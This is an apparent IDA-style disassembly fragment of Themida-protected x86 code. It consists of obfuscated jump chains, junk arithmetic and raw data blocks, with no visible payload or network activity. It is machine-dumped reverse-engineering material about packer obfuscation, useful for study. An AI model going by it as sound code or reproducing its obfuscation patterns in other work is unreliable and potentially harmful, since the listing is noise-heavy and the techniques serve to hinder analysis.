		inc	esi
		add	esi, 6A90B711h
		xor	edi, esi
		jmp	loc_5482AD
; ---------------------------------------------------------------------------
		dd 8DE92B88h, 5DFFFF6Ch, 8106E7C1h, 850018C7h, 5CBE5647h
		dd 814F9147h, 0A1A050C6h, 5EF70148h, 875FFB01h,	0F1E9241Ch
		dd 54FFFF6Eh, 5A2434FFh, 685D5455h, 2888h, 0E9240C89h
		dd 0FFFFC4A8h
; ---------------------------------------------------------------------------


loc_54FB34:				; CODE XREF: Themida_:00550D43j
		push	ebx
		mov	ebx, 6361827h
		sub	[esp+4], ebx
		jmp	loc_54CDD7
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5C240C87h, 1C8BF830h, 0E73FE924h, 32BAFFFFh,	1706A38h
		dd 19E95AD5h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FB5F:				; CODE XREF: Themida_:005511BFj
		xchg	eax, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_54ACEE
; ---------------------------------------------------------------------------


loc_54FB6B:				; CODE XREF: Themida_:0054CB76j
		push	ecx
		mov	ecx, 2
		mov	edi, ecx
		jmp	loc_54E61A
; ---------------------------------------------------------------------------
		dd 4C281h, 14870000h, 24248B24h, 48B5450h, 4C48324h, 0FFD019E9h
		dd 3877FFFFh, 815F5457h, 4C7h, 4EF8300h, 5C243C87h, 1B2BE9h
		dd 59EB0000h, 515BD828h, 5066FEB1h, 0EC805BB4h,	0B05053A3h
		dd 0C688528Ah, 6FE9F788h, 0FFFFFFDh, 34FFC0B6h,	24048B87h
		dd 4EC81h, 3C890000h, 65B66824h, 24890000h, 24048324h
		dd 96FE904h, 0E9580000h, 0FFFF82E8h, 7DA0EA81h,	62E94BD5h
		dd 56FFFFDFh, 0C681E689h, 4, 8702C683h,	685C2434h, 17EFh
		dd 11D4E9h, 81E78900h, 4C7h, 4C78300h, 5C243C87h, 4C181h
		dd 0C1830000h, 240C8702h, 288645Ch, 0FFDA5EE9h,	28F66FFh
		dd 0FF6994E9h, 4AE950FFh
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FC47:				; CODE XREF: Themida_:005514D7j
		add	edx, ebp
		jmp	loc_54AB78
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0DB25891Fh, 55BD809h, 3A523845h, 16F9E9h, 242CD200h
		dd 9D32E99Ch, 0F180FFFFh, 8D18E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FC72:				; CODE XREF: Themida_:00550760j
		mov	edi, 302166A0h
		and	edi, 627904C6h
		sub	edi, 1811484h
		add	edi, 446126CDh
		add	edi, 9CFEE93Bh
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		mov	bl, dl
		jmp	loc_54CB8B
; ---------------------------------------------------------------------------
		db 20h,	4, 24h
		dd 6923E99Ch, 166FFFFh,	250566D0h, 29665A27h, 202D66D8h
		dd 815B6630h, 4ECh, 0D087E900h,	34FFFFFFh, 89535B24h, 4C381E3h
		dd 0E9000000h, 1F88h, 4C481h, 89560000h, 4C681E6h, 57000000h
		dd 2CBA5253h, 4A081605h, 0FF99CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FCFD:				; CODE XREF: Themida_:005496B3j
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	7187h
		mov	[esp], eax
		xchg	edx, [esp]
		xchg	ebp, edx
		jmp	loc_55051F
; ---------------------------------------------------------------------------
		db 68h,	0A2h, 1Dh
		dd 2C890000h, 0B4A6E924h, 0EE81FFFFh, 3DBA338Dh, 3E9E681h
		dd 0C6814E88h, 5112392Dh, 32D0C681h, 42E9DA1Bh
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FD3F:				; CODE XREF: Themida_:0054B1DFj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_54BEDA
; ---------------------------------------------------------------------------
		db 53h,	59h, 5Bh
		dd 607EF81h, 0CF014A5Bh, 607C781h, 56594A5Bh, 1315E9h
		dd 240C3300h, 0FFD812E9h, 4EC83FFh, 68240489h, 1ECC042Eh
		dd 87CDE958h, 0C180FFFFh, 59CB006Ah, 0E935C380h, 0FFFF91E6h
		dd 50242C89h, 8F02C5B8h, 6810h,	2C810000h, 0F81EF524h
		dd 24042937h, 0F5240481h, 5837F81Eh, 0BD55D0F7h, 3D0022BBh
		dd 6818BE56h, 0F509074Ch, 82ED815Eh, 81145A3Dh,	3C1C2BF5h
		dd 123FE931h, 0C2810000h, 3C76889Fh, 57E9D121h,	81FFFFF9h
		dd 4C3h, 0E4E95700h, 81FFFF71h,	4C1h, 4EC8300h,	56240489h
		dd 0FF7E30E9h, 0C2BB53FFh, 0E9332B04h, 0FFFFC7C5h, 135FE955h
		dd 2ABB0000h, 294EA80Ch, 6986E9D9h, 7E68FFFFh, 8900004Dh
		dd 5B54241Ch, 4C381h, 0C3810000h, 4, 8B241C87h,	96E92424h
		dd 5AFFFF67h, 5C243487h, 0FFC8B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FE49:				; CODE XREF: Themida_:00547BC2j
		push	ebx
		push	eax
		push	177D3BA4h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 0E882C45Dh
		push	edi
		jmp	loc_54B2C4
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 0CBE92424h, 8100000Dh, 6F1138EDh,	81CD291Eh
		dd 6F1138C5h, 0C440E91Eh, 0C201FFFFh, 4EC81h, 3C890000h
		dd 0D383E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FE96:				; CODE XREF: Themida_:005495BEj
		push	ebp
		push	6E5B1C31h
		mov	ebp, [esp]
		jmp	loc_548017
; ---------------------------------------------------------------------------


loc_54FEA4:				; CODE XREF: Themida_:005471FDj
		shr	ah, 8
		add	ah, 79h
		add	ah, 0D5h
		jmp	loc_54D70F
; ---------------------------------------------------------------------------


loc_54FEB2:				; CODE XREF: Themida_:0055142Aj
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_54870D
; ---------------------------------------------------------------------------
		db 68h,	4Bh, 19h
		dd 34890000h, 116E924h,	0EA810000h, 96C5BFFh, 9BC2C281h
		dd 0D529455Fh, 6BE9525Ah, 89FFFFFCh, 0E6892434h, 22C3BB53h
		dd 0BF573574h, 0CA8BDD41h, 815FFB01h, 0DA5B69C6h, 0E9DE0136h
		dd 0FFFF81BEh
; ---------------------------------------------------------------------------


loc_54FF08:				; CODE XREF: Themida_:00549693j
		pop	esi
		sub	eax, 45C31319h
		sub	eax, 0FC034D0Dh
		jmp	loc_55050D
; ---------------------------------------------------------------------------
		dd 0DA5862B8h, 0E9C72948h, 0FFFFE9CEh, 484E68h,	240C8900h
		dd 0EFE9F8B1h, 8FFFFFF3h, 0CDE92404h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF3B:				; CODE XREF: Themida_:0054F85Dj
		pop	edx
		jmp	loc_54CAA1
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 0FFh
		dd 16C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FF49:				; CODE XREF: Themida_:0054CD1Bj
		add	ecx, 0F6E41E48h
		and	eax, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_54E99F
		push	edx
		mov	edx, 1Ch
		jmp	loc_547507
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 4170377Dh, 4245C31h, 81241C8Bh, 4C4h, 0A1E3E900h
		dd 815EFFFFh, 424A3DE3h, 0DEB813Bh, 81502D7Bh, 3E3B10EBh
		dd 0D3CB8117h, 523C4359h, 0FFB854E9h, 0EB815BFFh, 320C166Dh
		dd 2418E9h, 0E9F10100h,	0FFFF829Fh, 0D4D3E95Ch,	0E941FFFFh
		dd 1F7h, 5166595Bh, 0E951E6B5h,	0FFFFBE62h, 0E9241C8Bh
		dd 0FFFFBBBDh, 0FD4FF8BEh, 0FAEE8138h, 125643Fh, 24348BF3h
		dd 5A04C483h, 0E07E9h, 58E68800h, 7514E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55000A:				; CODE XREF: Themida_:00546B89j
		sub	edx, 2BB21E11h
		add	ebx, 3F3243FBh
		jmp	loc_549D36
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C6835Fh, 31243433h,	0FFE92434h, 0BFFFFF95h,	0FC94CD3Ah
		dd 0C4E9EF01h, 66FFFFFAh, 53240C8Bh, 0FF8F23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550041:				; CODE XREF: Themida_:00548B47j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_551F1D
; ---------------------------------------------------------------------------


loc_550057:				; CODE XREF: Themida_:0054E78Ej
		mov	[esp], edi
		push	11573F45h
		mov	edi, [esp]
		jmp	loc_547C6D
; ---------------------------------------------------------------------------
aS_7		db '(нИ╣$',0
		align 2
		dw 0F520h
		dd 0DDE8E95Ah, 0C481FFFFh, 4, 0E0B35352h, 0E9BFC380h, 1CAEh
		dd 24040166h, 125DE99Ch, 0C7830000h, 243C8704h,	0D666E95Ch
		dd 0B951FFFFh, 30B34D1Ch, 0FFAAFEE9h, 8E6C1FFh,	0FFDA44E9h
		dd 8FBE56FFh, 8112BA3Dh, 7001B7C6h, 5EEC124h, 0EE81DEF7h
		dd 2311208Fh, 17EE814Eh, 89D6E55Ch, 0CF015EF1h,	0EF815959h
		dd 4, 31243C33h, 3C33243Ch, 4895C24h, 64E7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5500EE:				; CODE XREF: Themida_:0054EE29j
		mov	ecx, 57B1488Dh
		shr	ecx, 4
		sub	ecx, 566E5448h
		xor	ecx, 28B51F39h
		jmp	loc_55231C
; ---------------------------------------------------------------------------
		db 1
		dd 0C6015BDEh, 0CECE9h,	48B6600h, 48936824h, 4890000h
		dd 81E08924h, 4ECh, 24348900h, 1D2868h,	0AE29E900h, 489FFFFh
		dd 242C8124h, 50F2454h,	0C7E9505Ah
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550143:				; CODE XREF: Themida_:00550D1Cj
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55016A
; ---------------------------------------------------------------------------
		db 0Dh,	0E8h, 57h
		dd 98053BB8h, 0E90FBFD5h, 0FFFFAA2Ah, 0E9FFC180h, 0FFFFC2C7h
		dd 1A80E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55016A:				; CODE XREF: Themida_:00550148j
		add	esp, 4
		sub	eax, 22424DA6h
		jmp	loc_54DF74
; ---------------------------------------------------------------------------
		db 87h
		dd 895C243Ch, 0E189240Ch, 4C181h, 0C1830000h, 64C7E904h
		dd 0F031FFFFh, 8124348Bh, 4C4h,	0E9C52900h, 0FFFFDB9Bh
		dd 8B316FB8h, 165DE97Fh, 48F0000h, 24248B24h, 2424D366h
		dd 641BE99Ch, 3C87FFFFh, 1C895C24h, 1D34BB24h, 34E91454h
		dd 50FFFF9Fh, 0AB1B50B8h, 1F53E9A4h, 0E9590000h, 0FFFF7BE2h
; ---------------------------------------------------------------------------


loc_5501DC:				; CODE XREF: Themida_:005472C5j
		pop	esp
		add	ebx, 2
		jmp	loc_552360
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0F9h
		dd 2979FF7Fh, 0C583E9D1h, 0B151FFFFh, 66C180B2h, 32E9CC08h
		dd 0E9FFFFDAh, 0FFFF63D1h
; ---------------------------------------------------------------------------


loc_550204:				; CODE XREF: Themida_:0054BEE4j
		shr	edi, 7
		jmp	loc_54F014
; ---------------------------------------------------------------------------
		dd 51241C8Bh, 4EC81h, 24890000h, 24048324h, 0F2E95904h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550223:				; CODE XREF: Themida_:005526D4j
		or	[edi+1Ch], esi
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 5FF75A67h
		xor	ebx, 3C0B79FCh
		add	ebx, 71750556h
		jmp	loc_546E79
; ---------------------------------------------------------------------------
		db 5Bh
		dd 2D48F381h, 7E91BD9h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550253:				; CODE XREF: Themida_:0054BAFDj
		pop	ecx
		add	ebp, 4
		jmp	loc_548D5B
; ---------------------------------------------------------------------------
		dd 0D2BD555Ah, 31771633h, 59525DEAh, 0FF9B2AE9h, 82CBAFFh
		dd 0F2812CDCh, 569556B2h, 644BEA81h, 0C2814A52h, 0EA8E115Fh
		dd 148BD631h, 4C48324h,	242C8156h, 3B7F1494h, 8138428Fh
		dd 14943842h, 5D5E3B7Fh, 5196BF57h, 0E78125A8h,	0E8F3BF3h
		dd 5EF3F781h, 42C70F69h, 1EB09F30h, 790268F4h, 1C890000h
		dd 30BB24h, 0EB810000h,	1F933FB9h, 0C381D301h, 1F933FB9h
		dd 0FFE34FE9h, 13E957FFh, 5FFFF9Bh, 1C5D4683h, 0FFA090E9h
		dd 0FC330FFh, 34FFC0B6h, 62DFE987h, 8166FFFFh, 664482F3h
		dd 66526643h, 664BFFBAh, 8DE9D331h, 0C1FFFFEFh,	814A02E2h
		dd 0F8544AC2h, 0E185E961h, 0D821FFFFh, 0FFE362E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550321:				; CODE XREF: Themida_:005497A2j
		mov	[esp], ecx
		jmp	loc_548B1C
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 87000000h, 45C241Ch,	2CD82838h, 876DE938h, 2C89FFFFh
		dd 2474FF24h, 242C8B04h, 4C481h, 48F0000h, 24248B24h, 240CFF66h
		dd 6277E99Ch, 814BFFFFh, 900DEEEBh, 51DBF74Ah, 5353F7B9h
		dd 41E1812Fh, 81671938h, 7D3501C1h, 41D1F734h, 0A725E952h
		dd 30ACFFFFh, 0E28952D8h, 0FFDAB9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55038D:				; CODE XREF: Themida_:0054E88Aj
		push	edi
		mov	edi, esp
		jmp	loc_54AC6D
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 1
		dd 0EE81DEF7h, 142A5873h, 0C435C681h, 0EB81703Eh, 64323B1Dh
		dd 0C381F329h, 64323B1Dh, 0B5BEE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5503BA:				; CODE XREF: Themida_:0054A6BCj
		pop	ebx
		and	[edi+1Ch], ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54A333
; ---------------------------------------------------------------------------
		db 1, 29h, 59h
		dd 0A3BE565Dh, 81673D2Eh, 0AA164BF6h, 72C6814Fh, 0E9FD68CFh
		dd 0FFFFCBF8h, 81240C8Bh, 4C4h,	0EAB05000h, 0FFC0A5E9h
		dd 243C89FFh, 4EC81h, 8F540000h, 0E92404h, 8BFFFFD1h, 8956243Ch
		dd 6B60E9E6h, 0C209FFFFh, 256FE9h, 4C68100h, 57000000h
		dd 35E95055h, 0C1FFFF82h, 17E902E9h, 80FFFFE0h,	8FE975EBh
		dd 0AD000005h, 0AC07E005h, 58552D47h, 0D8293845h, 45585505h
		dd 28846838h, 2C890000h, 64BEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550462:				; CODE XREF: Themida_:0054705Cj
		mov	eax, [esp]
		jmp	loc_549EBD
; ---------------------------------------------------------------------------
		dw 0C629h
		dd 0E6814E58h, 5AA15E1Eh, 6E6C146h, 8344F681h, 0EB812011h
		dd 3CB249FFh, 51E9F301h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55048B:				; CODE XREF: Themida_:005471CCj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 26F4724Dh
		jmp	loc_54C654
; ---------------------------------------------------------------------------


loc_55049C:				; CODE XREF: Themida_:0054CB23j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	748334CAh
		pop	ecx
		jmp	loc_54865A
; ---------------------------------------------------------------------------


loc_5504AE:				; CODE XREF: Themida_:0054D41Cj
		xor	[esp], ch
		xor	ch, [esp]
		xor	[esp], ch
		jmp	loc_54D91B
; ---------------------------------------------------------------------------
		dd 18ACBA52h, 0B0BD1216h, 81121618h, 896F04C5h,	1553E922h
		dd 0C6810000h, 7FF52C5Dh, 0FFE285E9h, 0EA68ACFFh, 8900000Fh
		dd 71E92414h, 5C000014h, 0BA241489h, 35A230C4h,	0B8504242h
		dd 412320A4h, 5E8C140h,	368505h, 58C2315Eh, 0FF6681E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55050D:				; CODE XREF: Themida_:0054FF13j
		mov	ebp, eax
		pop	eax
		mov	ecx, 63093BF9h
		xor	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_546747
; ---------------------------------------------------------------------------


loc_55051F:				; CODE XREF: Themida_:0054FD10j
		push	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_552620
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0D33B951h, 0CA013B43h, 0E9240C8Bh, 0FFFF60E1h
; ---------------------------------------------------------------------------


loc_55053C:				; CODE XREF: Themida_:00549932j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54B66F
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 0B82AE950h, 0E95AFFFFh, 0FFFFEB36h
; ---------------------------------------------------------------------------


loc_55056C:				; CODE XREF: Themida_:00550580j
		xchg	ebp, [esp]
		jmp	loc_549EA3
; ---------------------------------------------------------------------------


loc_550574:				; CODE XREF: Themida_:0054A7C2j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55056C
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C1h
		dd 27B3556Dh, 0E981E901h, 27B3556Dh, 814CE95Dh,	6664FFFFh
		dd 6802B60Fh, 2CC1h, 0E9240489h, 0FFFFCD7Ah
; ---------------------------------------------------------------------------


loc_5505AC:				; CODE XREF: Themida_:0054A9D7j
		add	edx, edi
		jmp	loc_54DFF4
; ---------------------------------------------------------------------------


loc_5505B3:				; CODE XREF: Themida_:0054C676j
		jnz	loc_549C18
		push	12A7h
		mov	[esp], ebx
		mov	ebx, edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_546AF2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0E904C483h, 1A8Dh, 55C3015Dh,	0FD327EBDh
		dd 5DEB0140h, 0DAE9008Fh, 29FFFF5Fh, 0E959C8h, 8FFFFFBDh
		dd 248B2404h, 0BC85E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55060E:				; CODE XREF: Themida_:0054E084j
		push	edi
		mov	edi, 4DF176A7h
		add	ebx, edi
		pop	edi
		jmp	loc_5519CA
; ---------------------------------------------------------------------------


loc_55061C:				; CODE XREF: Themida_:00549EF1j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_54C8B6
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 0FF6725E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55062D:				; CODE XREF: Themida_:0054B842j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54CC16
; ---------------------------------------------------------------------------
		dw 0F509h
		dd 0E924348Bh, 0FFFF62B9h, 0E904EC83h, 0FFFFFCEEh, 0E904E5C1h
		dd 0FFFFA015h
; ---------------------------------------------------------------------------


loc_550658:				; CODE XREF: Themida_:0054D9D7j
		pop	eax
		or	ebp, 5CE11CB8h
		neg	ebp
		neg	ebp
		sub	ebp, 7CEB3EFEh
		push	ebp
		mov	edx, [esp]
		add	esp, 4
		pop	ebp


loc_550671:				; CODE XREF: Themida_:0054CE67j
					; Themida_:005509AAj
		push	edi
		jmp	loc_54E445
; ---------------------------------------------------------------------------
		db 81h
		dd 317F5EF5h, 60892D68h, 0E8012604h, 4608905h, 0E9535D26h
		dd 0FFFFE398h
; ---------------------------------------------------------------------------


loc_550690:				; CODE XREF: Themida_:0054CAA9j
		pop	edx
		jmp	loc_54C04D
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 5B34C281h, 565E7383h, 4BEh, 0E9F22900h, 0EF8h, 0F781E7D1h
		dd 372AEDA4h, 0FFB852E9h, 240C89FFh, 2B9h, 9AEF8100h, 293E6F50h
		dd 3DB951CFh, 81355037h, 0E0E6A3E9h, 59CF01F6h,	0FFC8F0E9h
		dd 241C89FFh, 0FAE9EF88h, 8BFFFFCCh, 0C483241Ch, 4C38104h
		dd 83000000h, 1C8704C3h, 0C8B5C24h, 7B046824h, 1C890000h
		dd 815B5424h, 4C3h, 4EC8300h, 0BE243489h, 66F51E66h, 5BDFB850h
		dd 0DF354159h, 0C1601B40h, 0E8C102E0h, 4A790503h, 37E948C7h
		dd 81FFFFFDh, 0BAEE47C1h, 59CE3169h, 7CFEE681h,	0F68131F2h
		dd 63254B99h, 2275EE81h, 0F0290835h, 4EC835Eh, 51241C89h
		dd 0FF7E2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55075D:				; CODE XREF: Themida_:0054F547j
		push	esp
		pop	ebp
		push	edi
		jmp	loc_54FC72
; ---------------------------------------------------------------------------


loc_550765:				; CODE XREF: Themida_:00551BC8j
		pop	edx
		push	ebp
		push	2D9Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	ebp, 65E0720Ch
		add	ebp, edi
		add	ebp, 65E0720Ch
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_549A97
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D35966h, 26E99C24h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5507AF:				; CODE XREF: Themida_:0054CD94j
		pop	dword ptr [esp]
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		xor	[esp], esi
		jmp	loc_546F3A
; ---------------------------------------------------------------------------


loc_5507C0:				; CODE XREF: Themida_:00549026j
		sub	ebp, 4984C7Eh
		pop	ecx
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		jmp	loc_54A6AA
; ---------------------------------------------------------------------------


loc_5507D5:				; CODE XREF: Themida_:0054F5E1j
		xor	[edi+24h], ebx


loc_5507D8:				; CODE XREF: Themida_:00551F0Fj
		push	3027h
		mov	[esp], esi
		push	2765h
		jmp	loc_54D9A9
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 7A66C181h, 0AAE930ACh, 0F6FFFF8Ch, 5A662414h, 5266D586h
		dd 88E8B551h, 0C7E959EEh, 8FFFFF77h, 4812404h, 424h, 0F7E95E00h
		dd 83FFFF62h, 2C8704C5h, 57585C24h, 0B77E06BFh,	28E78164h
		dd 81258905h, 200D44CFh, 41CF877Ah, 0DFF7CF87h,	0C781D7F7h
		dd 0B55B5FCAh, 815FF831h, 751DC5EAh, 0F634E92Eh, 77FFFFFFh
		dd 59669D1Ch, 241CD366h, 5D73E99Ch, 0F281FFFFh,	0FE34485Fh
		dd 0BBE9D501h, 83000015h, 0EFC004C4h, 0E1B15108h, 2BE9E1D0h
		dd 0FFFFFF6Ch, 148B2434h, 4C48124h, 56000000h, 0FFE178E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550891:				; CODE XREF: Themida_:0054937Ej
		pop	esp
		mul	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_54D1A7
; ---------------------------------------------------------------------------
		dd 16BD5550h, 8904CA47h, 12355DE8h, 8104CA47h, 943621C2h
		dd 36C2810Fh, 178272Ah,	36EA81C2h, 0E978272Ah, 0FFFFBF26h
		dd 15AD089h, 0EC8158C1h, 4, 0FF6F43E9h,	28F581FFh, 122D51Ah
		dd 96E95DEEh, 59FFFF7Eh, 2474FF56h, 48F5E04h, 24248B24h
		dd 24048B66h, 0FFD9DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550901:				; CODE XREF: Themida_:0054B068j
		dec	ebx
		xor	ebx, 197D3D10h
		sub	ebp, ebx
		pop	ebx
		add	esi, ebp
		pop	ebp
		push	1279h
		mov	[esp], eax
		jmp	loc_5510DC
; ---------------------------------------------------------------------------
		db 51h
		dd 0E92414F7h, 169Bh, 0C016E95Dh, 0FA01FFFFh, 26FAC281h
		dd 875F5C0Dh, 248B2414h, 5E1E2D24h, 2C81513Eh, 0C61EAD24h
		dd 242C8101h, 13C25237h, 81240401h, 4ECh, 0A860E900h, 0E386FFFFh
		dd 0FFC51BE9h, 4C281FFh, 56000000h, 4BEh, 0E9F20100h, 6E5h
		dd 4701BE5Bh, 0EE317728h, 0C1DEF75Dh, 0B95106E6h, 11446F96h
		dd 3699F181h, 0C7E90A30h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550993:				; CODE XREF: Themida_:0054C539j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jnz	loc_550671
		push	300Eh
		jmp	loc_54D677
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 54E90000h, 81FFFFFEh, 7933EFC9h, 5F5BE95Bh
		dd 0C300FFFFh, 6675C380h, 0EFEDE950h, 5A66FFFFh, 0FFAFAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5509E5:				; CODE XREF: Themida_:0054E963j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 48327AD8h
		push	ecx
		push	1FF42457h
		jmp	loc_54B3BA
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 5BCFE924h, 0F801FFFFh, 7106D105h, 6827051Ah,	3C8B1B13h
		dd 4C48324h, 0FFBD15E9h, 22685CFFh, 8900005Bh, 54562414h
		dd 0D2E9525Eh, 89FFFFB6h, 5FBB53E0h, 0E9101770h, 0FFFFE537h
		dd 4245C01h, 0FFA1C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550A45:				; CODE XREF: Themida_:00548C87j
		pop	ecx
		push	6B88h
		mov	[esp], ebp
		mov	ebp, 0F82C00B4h
		add	ebx, ebp
		jmp	loc_54F492
; ---------------------------------------------------------------------------
a_hD		db '_h,d',0
		align 10h
		dd 89241C89h, 28E957E3h, 5AFFFFC4h, 0FFF4B3E9h,	66592CFFh
		dd 5624148Bh, 0C681E689h, 4, 8702C683h,	555C2434h, 0FF923DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550A8D:				; CODE XREF: Themida_:0054CF5Dj
		or	ecx, 15CC5A93h
		sub	ecx, 95EEDADBh
		sub	eax, 3F946655h
		sub	eax, 28677BD4h
		add	eax, ecx
		add	eax, 28677BD4h
		add	eax, 3F946655h
		pop	ecx
		add	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_54F160
; ---------------------------------------------------------------------------
		db 88h,	0EBh, 66h
		dd 66D83059h, 8853515Bh, 5BDD88C3h, 0C8BEB88h, 0E2895224h
		dd 0FFE2A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550AE1:				; CODE XREF: Themida_:0054C6E6j
		xor	ebp, edx
		jmp	loc_54D036
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 4EC8304h, 0FF6C0EE9h,	0D831ADFFh
		dd 3D9B6855h, 14890000h, 3CD2BA24h, 0E9562450h,	0FFFF9A7Dh
		dd 4C481h, 0F0310000h, 8124348Bh, 4C4h,	4EC8300h, 0B8240489h
		dd 6BF4642Dh, 0FFAE6AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550B31:				; CODE XREF: Themida_:00547872j
		push	dword ptr [esp+4]
		jmp	loc_551867
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4EC81h, 2C890000h, 0F2B3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550B4E:				; CODE XREF: Themida_:00552973j
		add	edi, 4
		push	edi
		jmp	loc_54F1CC
; ---------------------------------------------------------------------------
		dw 0E9B9h
		dd 56139C5Bh, 2A13F8BEh, 5EF10929h, 0E981D9F7h,	74190703h
		dd 0D9F7D1F7h, 0ADCFC181h, 62052B85h, 2955AD34h, 34622DC8h
		dd 5D5955ADh, 6E9768h, 24348900h, 0C681E689h, 4, 8704EE83h
		dd 895C2434h, 0EDBB241Ch, 3150EC97h, 9CDE9D8h, 34330000h
		dd 4085C24h, 1AE99C24h,	0E9FFFF5Ah, 0FFFF5A15h,	24048F54h
		dd 4B850h, 44010000h, 17E90424h, 0B8FFFFF0h, 4,	0FFD6C0E9h
		dd 4C481FFh, 0E9000000h, 17F8h,	4C381h,	0EB810000h, 4
		dd 5C241C87h, 0FF9496E9h, 0C38159FFh, 65EB6CD6h, 47F8C381h
		dd 0EEE9FF54h, 52FFFF7Eh, 7FE95A54h, 81FFFFDCh,	4738B0C2h
		dd 8B41E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


